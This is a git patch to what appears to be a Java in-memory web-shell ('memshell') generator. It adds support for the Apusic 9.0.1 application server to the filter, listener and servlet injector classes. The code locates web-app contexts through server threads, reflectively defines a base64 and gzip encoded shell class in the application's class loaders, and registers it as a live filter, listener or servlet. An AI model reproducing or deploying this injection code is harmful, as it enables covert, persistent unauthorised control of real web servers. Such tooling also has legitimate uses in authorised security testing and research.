From e7c69befe82d4f07ff31ab63ff155b82a353b4e0 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 16 Sep 2025 01:06:17 +0800 Subject: [PATCH] feat: support Apusic 9.0.1 --- .../injector/apusic/ApusicFilterInjector.java | 72 +++++++++++++------ .../apusic/ApusicListenerInjector.java | 70 +++++++++++------- .../apusic/ApusicServletInjector.java | 64 ++++++++++++----- 3 files changed, 143 insertions(+), 63 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index 7f910fa8..55e4328b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -3,11 +3,13 @@ package com.reajason.javaweb.memshell.injector.apusic; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -17,15 +19,22 @@ import java.util.zip.GZIPInputStream; */ public class ApusicFilterInjector { + String msg = ""; + public ApusicFilterInjector() { try { List contexts = getContext(); + msg += "contexts size: " + contexts.size() + "\n"; for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); + Object shell = getShell(context); + boolean inject = inject(context, shell); + msg += "context: " + getFieldValue(context, "contextRoot") + (inject ? " ok" : " already") + "\n"; } - } catch (Exception e) { - e.printStackTrace(); + } catch (Throwable e) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + PrintStream printStream = new PrintStream(outputStream); + e.printStackTrace(printStream); + msg += outputStream.toString(); } } @@ -51,39 +60,57 @@ public class ApusicFilterInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { - contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + // Apusic 9.0 SPX + Object sessionManager = getFieldValue(thread, "this$0"); + contexts.add(getFieldValue(sessionManager, "container")); + } else if (thread.getName().contains("HTTPSession")) { + // Apusic 9.0.1 + Object sessionManager = getFieldValue(thread, "this$0"); + Map contextMap = ((Map) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts")); + contexts.addAll(contextMap.values()); } } return contexts; } - private ClassLoader getWebAppClassLoader(Object context) throws Exception { + private Object getShell(Object context) throws Exception { + // WebApp 类加载器,ServletContext 使用这个进行组件的类加载 + ClassLoader loader = (ClassLoader) getFieldValue(context, "loader"); + ClassLoader defineLoader; + Object obj; try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - return ((ClassLoader) getFieldValue(context, "loader")); + // Apusic 9.0 SPX,优先从当前 loader 进行加载 + defineShell(loader); + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = loader; + } catch (ClassNotFoundException e) { + // Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound + ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader"); + defineShell(internalLoader); + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = internalLoader; } + msg += defineLoader + " loaded \n"; + return obj; } @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); + private void defineShell(ClassLoader classLoader) throws Exception { try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } catch (Throwable ignored) { } } - public void inject(Object context, Object filter) throws Exception { + public boolean inject(Object context, Object filter) throws Exception { Object webModule = getFieldValue(context, "webapp"); if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter already injected"); - return; + return false; } // addFilterMapping Class filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping"); @@ -100,7 +127,12 @@ public class ApusicFilterInjector { Class filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass(); Object filterMapper = getFieldValue(context, "filterMapper"); invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings}); - System.out.println("filter injected successful"); + return true; + } + + @Override + public String toString() { + return super.toString() + "\n" + msg; } @SuppressWarnings("all") @@ -155,7 +187,7 @@ public class ApusicFilterInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(fieldName); + throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName()); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 986dbde5..5402d4ef 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -16,15 +18,22 @@ import java.util.zip.GZIPInputStream; */ public class ApusicListenerInjector { + String msg = ""; + public ApusicListenerInjector() { try { List contexts = getContext(); + msg += "contexts size: " + contexts.size() + "\n"; for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); + Object shell = getShell(context); + boolean inject = inject(context, shell); + msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n"; } - } catch (Exception e) { - e.printStackTrace(); + } catch (Throwable e) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + PrintStream printStream = new PrintStream(outputStream); + e.printStackTrace(printStream); + msg += outputStream.toString(); } } @@ -45,47 +54,60 @@ public class ApusicListenerInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { - contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + // Apusic 9.0 SPX + Object sessionManager = getFieldValue(thread, "this$0"); + contexts.add(getFieldValue(sessionManager, "container")); + } else if (thread.getName().contains("HTTPSession")) { + // Apusic 9.0.1 + Object sessionManager = getFieldValue(thread, "this$0"); + Map contextMap = ((Map) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts")); + contexts.addAll(contextMap.values()); } } return contexts; } - private ClassLoader getWebAppClassLoader(Object context) throws Exception { + private Object getShell(Object context) throws Exception { + ClassLoader loader = (ClassLoader) getFieldValue(context, "loader"); try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - return ((ClassLoader) getFieldValue(context, "loader")); + defineShell(loader); + Object obj = loader.loadClass(getClassName()).newInstance(); + msg += loader + " loaded \n"; + return obj; + } catch (ClassNotFoundException e) { + // Apusic 9.0.1 + ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader"); + defineShell(internalLoader); + Object obj = loader.loadClass(getClassName()).newInstance(); + msg += internalLoader + " loaded \n"; + return obj; } } @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); + private void defineShell(ClassLoader classLoader) throws Exception { try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } catch (Throwable ignored) { } } - public void inject(Object context, Object listener) throws Exception { + public boolean inject(Object context, Object listener) throws Exception { Object webModule = getFieldValue(context, "webapp"); - String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null); - for (String name : listeners) { - if (getClassName().equals(name)) { - System.out.println("listener already injected"); - return; - } + if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) { + return false; } - invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(context, "loadListeners", null, null); - System.out.println("listener injected successful"); + return true; + } + + @Override + public String toString() { + return super.toString() + "\n" + msg; } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 3a8d271d..449018b6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -16,15 +18,22 @@ import java.util.zip.GZIPInputStream; */ public class ApusicServletInjector { + String msg = ""; + public ApusicServletInjector() { try { List contexts = getContext(); + msg += "contexts size: " + contexts.size() + "\n"; for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); + Object shell = getShell(context); + boolean inject = inject(context, shell); + msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n"; } - } catch (Exception e) { - e.printStackTrace(); + } catch (Throwable e) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + PrintStream printStream = new PrintStream(outputStream); + e.printStackTrace(printStream); + msg += outputStream.toString(); } } @@ -45,44 +54,61 @@ public class ApusicServletInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { - contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + // Apusic 9.0 SPX + Object sessionManager = getFieldValue(thread, "this$0"); + contexts.add(getFieldValue(sessionManager, "container")); + } else if (thread.getName().contains("HTTPSession")) { + // Apusic 9.0.1 + Object sessionManager = getFieldValue(thread, "this$0"); + Map contextMap = ((Map) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts")); + contexts.addAll(contextMap.values()); } } return contexts; } - private ClassLoader getWebAppClassLoader(Object context) throws Exception { + private Object getShell(Object context) throws Exception { + ClassLoader loader = (ClassLoader) getFieldValue(context, "loader"); try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - return ((ClassLoader) getFieldValue(context, "loader")); + defineShell(loader); + Object obj = loader.loadClass(getClassName()).newInstance(); + msg += loader + " loaded \n"; + return obj; + } catch (ClassNotFoundException e) { + // Apusic 9.0.1 + ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader"); + defineShell(internalLoader); + Object obj = loader.loadClass(getClassName()).newInstance(); + msg += internalLoader + " loaded \n"; + return obj; } } @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); + private void defineShell(ClassLoader classLoader) throws Exception { try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } catch (Throwable ignored) { } } - public void inject(Object context, Object servlet) throws Exception { + public boolean inject(Object context, Object servlet) throws Exception { Object webModule = getFieldValue(context, "webapp"); Object servletMapper = getFieldValue(context, "servletMapper"); if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("servlet already injected"); - return; + return false; } invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}}); - System.out.println("servlet injected successful"); + return true; + } + + @Override + public String toString() { + return super.toString() + "\n" + msg; } @SuppressWarnings("all")